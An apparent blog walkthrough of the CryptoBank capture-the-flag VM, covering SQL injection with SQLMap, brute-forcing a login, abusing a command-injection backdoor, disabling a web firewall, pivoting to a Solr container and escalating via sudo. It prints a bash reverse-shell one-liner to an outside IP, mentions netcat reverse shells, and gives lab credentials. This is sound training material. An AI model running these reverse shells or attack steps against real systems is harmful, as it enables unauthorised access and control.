CryptoBank VM — Vulnhub.com
I was browsing Vulnhub.com for a new VM to do over the weekend for a bit of a challenge. I saw this one as one of the newer VM’s on the site, it’s called CrytoBank and was created by @emaragkos the theme of it really interested me and caught my eye, so here we are!
Thanks for taking the time out of whatever you’re doing to read this walkthrough. Let’s get straight into it
We need to find the IP address of the VM before we can start enumerating it for vulnerabilities. We can do this really simply by running netdiscover
now that we have the IP address we can start our usual methodology of enumeration, we can run a quick nmap scan to see what is running and open on the box. Whilst we review the output of the quick scan we should also kick off a full deep scan that might find something we missed on the quick one. So here’s the quick scan
It seems like a nice straight forward box, but just before we move on let’s not forget to run the full nmap scan (it is always a good idea to have some scans running in the background, that way if we run out of things to explore manually we always have something we can move onto).
For the full scan I’m really liking the nmapAutomator script.
Now thats running, we can move on to manually checking out the 80 and 22 port. Lets start with the 80 port as its really unlikely that we can just log into the SSH port without any credentials, but we have it to come back to if we really don’t find anything on the website.
Nice, its actually refreshing to find a website that has content on it and isn’t just a default apache install page. Let’s just browse around the site and see if anything interesting pop’s out. We can kick off a dirsearch scan in the background to look for hidden dirs.
After spending a few minutes looking around the site and the source code it seems that despite it looking cool and full featured there is actually very little on there. Most of it is simply place holder text or links.
We have the dirsearch scan which we started before browsing the site, we can check back to it now and see what it found if anything.
(I have cleaned up the output a little to make it easier to show on the screen here, by using the –v flag for grep which inverts the search and show us everything that isnt a 403 error)
We can see from the scan out put that there are a few directories for us to browse and it’s always exciting to see /backup directories as I’m sure they is something we can do with it, and maybe if we are really lucky they have left some credentials laying around in the code. As we have nothing else to go on at the moment we should dive into the /development/backups
We can see from the scan output that the actual /development directory is giving us a 401 unauthorised error and if we try to navigate to it we get presented with a login prompt
We should make a note of it for a moment and carry on to the /backups directory that was giving us a 200 response.
Navigating to the parent directory presents us with the same login prompt as before and navigating to the /home directory seems to bring us to a copy of the main site, which having a quick look around seems to be an exact copy with nothing new or of interest on it.
Maybe we can rerun our dirsearch scan again and start it at the http://192.168.1.148/development/backups/home/ point to see if there are any further directories that we can use to move forward, if this doesn’t work then we can move onto trying to brute force the login prompt.
Cool, so this is looking good. It seems like there is a git repo on the site.
looking through it we can see in the /config file has some interesting info in it for, a potential username and also the syntax for the company
It looks like the usernames in the company are firstName.firstInitialSurname which is really useful as it gives us a username to use on the login prompt and also when we were browsing the site there is a “meet the team” page which gives us a few more potential users to try and brute.
We can create a list of usernames with the contents:
Ok so I think we need to try and brute force the login prompt. Lets take the site and the brute force into BurpSuite and see what we can do with it.
So not having BurpSuite Pro on my Kali box definitely didn’t help here, but after a long time I decided to stop the attack as it wasn’t giving me anything useful at all.
Ok so back to the drawing board! How else can we attack a login box!?! It sad to say that I actually forgot about this tool for a long time, as I don’t really get to use it in my day to day work and it hasn’t come up in a CTF in a while. But we can use SQLMap.
We also need to swap from the /development login prompt and go back to the “Secure Login” box we saw on the main index page of the site.
Ok let’s get into SQLMap and try to move this along.
So we seem to have something interesting that’s come back in the default scan.
It seems like the site is vulnerable to a time based sqli attack. Now that we know this, we can carry on using SQLMap and prone further to actually exploit the server, hopefully we’ll get full access and get some user creds. (this is going to take a while I think haha)
So it took 6 minites to probe the server and return the databases that were available.
As I really don’t want to be at this all day (unless I have to) Let’s see choose the cryptobank database and see what tables it contains.
Cool we can see the database has 3 tables in it.
The accounts table sounds the most interesting one at first glance, we can dump the contents to see if there is anything we can use to move forward.
That one took 22 mins to get the table contents 1 character at a time! But we got it in the end and that’s all that matters.
Awesome so that’s given us a lot of creds to try on the login page, of note though is julius as we know he is a member of the development team, we saw him on the “meet the team” page. His creds are juliusthedeveloper:wJWm4CgV26
We can try to log in using these and see if they work.
And we’re in!! Awesome, it took a little bit more effort than I thought to get here, but now we are, let’s move on and carry on with our enumeration. We can now just browse the new page and see if there is anything we can use to exploit it further and gain a deeper foothold. If we can’t find anything then we also have the SSH service on port 22 that we can fire all the creds we just found at!
***Spoiler Alert I didn’t find anything on the site and none of the found credentials worked on the SSH service***
Time for a coffee break and to review my notes, we must have missed something along the way, as it feels like we’re at a dead end now.
After reviewing our notes and then going back through the website, I remembered there was another database we saw in the output of the SQLMap scan, the mysql one. It’s going to take forever again to get the data out, but let’s kick it off and we can always come back to it to check.
I think we should start by seeing what is in the user table.
It is in a horrible format but here are the hashes we dumped out of the DB
lets grab the hash for the user cryptobank and try to crack it, we can use hash-identifier to find out what hash type it might be
Cool so I think we can say it is a MySQL5 hash, I’ve not tried to crack one of those before, so before we can, I think we should jump over to google and see if we can just upload it to crackstation.
Which we couldn’t, doing a bit more research and it seems quiet involved to crack them, and it is starting to feel like this might not be the correct path to be one, as the VM is only rated intermediate.
Back to our notes again, so we found the login prompt on the /development page but none of the creds we have found so far seem to work for it. Lets put the creds together into one list, so that’s the usernames we collected from the team p
These now look like this:
Now we have them in 2 files we can feed them to hydra and see if any combination of them work and will allow us to log in.
Bingo!!! we got a hit on Julius’ username and he’s clearly reused his password from the DB dump. So,we should try to log into the panel and see what’s behind it. This has taken way longer than I thought it would, we still havent gotten the initially foot hold on the VM hahaha.
This is starting to get a little boring now TBH 🙁
After all that, we are presented with a page that has NOTHING on it apart form the words “only for development”. Looking at the source code only shows us the same!!
Now that we are logged in though we can navigate around the file listing that we didn’t have access to before, there seems to be a slight “recursion” going on but if we follow it we get to this
And going into the tools/ directory give us something really interesting. (hopefully this is the way in).
No messing around, lets go straight after the prize and try to upload a revshell using the “Upload a file” option.
It is looking for an image file to be uploaded, we can use our standard php reverse shell script and just give it a .jpg extension to hopefully bypass the filter.
Didnt work 🙁. What are we missing??? Ok lets take a step back and think about what we have done to get to this point and what we can do to try to move forward. (After rereading through my notes, I noticed that we got to these “interesting” pages after logging in a Julius, maybe we need to run another dirb search on these authenticated pages).
I didnt know you could supply credentials to dirb but after a quick google search its really simple and you can give it to dirb with the –u flag.
We can try and scan the /development/backups/home/ dir to see if anything new shows up for us.
Of course I completely forgot about the .got directory we found at the start of this, we only briefly looked through the files, we can dig deeper into them now.
Looking through the folders shows us nothing really of interest past what we have found already, but after thinking about it for a while and just googling stupid queries for a while. I found this.
This feels like it is worth spending more time on, as the fact that there is a .git folder on the VM is not by accident and the fact that there is one exploit to take advantage of it, it just feels right. Lets download it and give it a try.
That worked perfectly and we how have a full backup of the code on our Kali box
We should spend some time going through the code now looking for a way to move forward. Let’s start at the index.html page and work our way from there.
After going through the files, I was able to see the source code for the CommandExec.php page we found earlier but didnt really get very far as we needed to give it creds.
The interesting thing though that we notice when we have the source code is that the Username input box seems to have very interesting behaviour
Here it is without being highlighted and a little bit easier to read.
It looks like as long as with use Julius’ password in the password box the script will take what we put into the username box and execute it on the machine. Lets give it a go and see if we can get it to return to us the output of the whoami cmd.
YES!!! It worked and we have finally found a way to execute cmds on the box, via Julius’ backdoor. Awesome so now we should be able to move fast and break it. We can try to put a nc one liner in the username box and fingers crossed it will give us a rev shell. We should start our listener ready to catch the callback with a simple nc –lnvp <PORT>
Damn it!! Ok its being blocked. Lets try one more way to get the file on the system. Instead of running the nc cmd straight in the input box, we can try to echo a bash shell into a new file and then try to call the file from the username box. This is the cmd we can try.
echo “bash -i >& /dev/tcp/192.168.1.148/2007 0>&1” > shell.sh
That didnt work either, so I think we need to try to figure out how to bypass the firewall that seems to blocking us. We can then try our above attack again.
We saw some references to ninjafirewall we can dig a little deeper into that to see if we can exploit it or bypass it.
Browsing through the ninjafirewall directories we found a couple of interesting files. A custom file that seems to be a password reset file called pro2-reset-is-now-hidden.php which when we navigate to it, shows us a reset screen that we need to give it our current creds.
we dont have any admin creds yet for the firewall but after looking further around I found a config file that might give us a clue to the creds.
from the options.php file we can see the username it is expecting is administrator and it also gives us their password as a hash. Looking back in the reset.php we can see it is a sha1 hash. We can try going through the reset process as far as we can at first, maybe just give it the hash and see what happens, if that fails then we can try to crack the hash.
After giving the reset page the username of administrator it just returned to us a new password, I was not expecting it to be that easy!!
I’m really happy it was that easy though and we didnt have to do more digging. Let’s log in to the firewall and try to just turn it off.
After logging into the admin panel we see exactly what we need to do, and it re-enforces that we are on the right path.
We should do the exact thing that the dev is telling us not too and mess around with it😊
After turning off all of the rules and policies I could find, I was then able to run the injection cmd in the username box from before but this time just as a nc cmd (the one that failed before) and get a shell.
After a quick bit of CLI and python fu we can upgrade our shell to a full TTY one. Awesome now we are making some progress, as you can see above we have navigated to the /tmp folder ready for us to upload one of our enumeration scripts using wget.
Whilst we are waiting for that to run we can see if we can grab the user.flag file.
Cool, now lets move onto root, first we should read through the output of our enumeration scan.
One of the more interesting things to pop up on the scan result is that the box seems to be running a docker image which has a different IP address showing on the output of the ifconfig cmd.
So we need to try and see what is running on that IP address and port, after googling around loads I came across a tool called revsocks which seems to allow us to connect reverse proxies. Lets download it now and give it a try.
We can see from our googling that the service was, when we can connect to it is probably going to be running an application called SOLR
Which seems to be an apache service
Ok so back to revsocks, installing it is easy and we just need to clone the git down and then run it.
Seems easy enough, lets set up the cmds and see if it works. On our attacking box we run the cmd
And on the victim box we run the server cmd
Now all I think we have to do is connect to it using FoxyProxy in FireFox with the settings we gave in the above cmd.
We can then navigate to the service running at 172.17.0.1:8983
Awesome we are in, and it is indeed the exact service we thought it was going to be SOLR. Before we fall down anymore holes, let’s just do the sensible thing and see if there are any exploits available for it, that might guide us to the page or settings we need within the application.
We can use searchsploit for this and it returns
This sounds perfect (if it works) lets take a look at it and see if we can use it.
It seems really easy to run and we can test it just by giving it the IP address of the machine and it’ll connect and run the whoami cmd. If we get it to to return the output of the cmd we will have a working PoC that we can then give it a more useful cmd like a nc revshell.
Lets see if the exploit works first of all by copying it over to the victim machine and run it
Brilliant it works, now lets give it a nc rev shell cmd and see if we can get this machine to call back to us.
It worked!! We can now upgrade our shell and hopefully just grab the flag.
There was no SOLR user flag so I started doing further enumeration looking for the path to root and found that we have a lot of sudo privs
Its still asking us for a password though, which we dont have 🙁
I was making it way harder than it needed to be and was trying to guess all sorts of passwd’s. Its always the most obvious one.
All we have to do now is cat the root flag and then its game over.
That was such a fun VM, it took 2 days and I feel like I fell down every rabbit hole on the box, but now that I have completed it, it feels totally worth all the effort. I learnt so much from doing this VM and it had an attack path I have not seen before in other VM’s
If you found this article helpful, please give it some 👏 and share it with anyone who you think might find it helpful! + Feedback and coffees are always welcome! 😄
Take care and hopefully I’ll see you back here soon for more content and walkthroughs.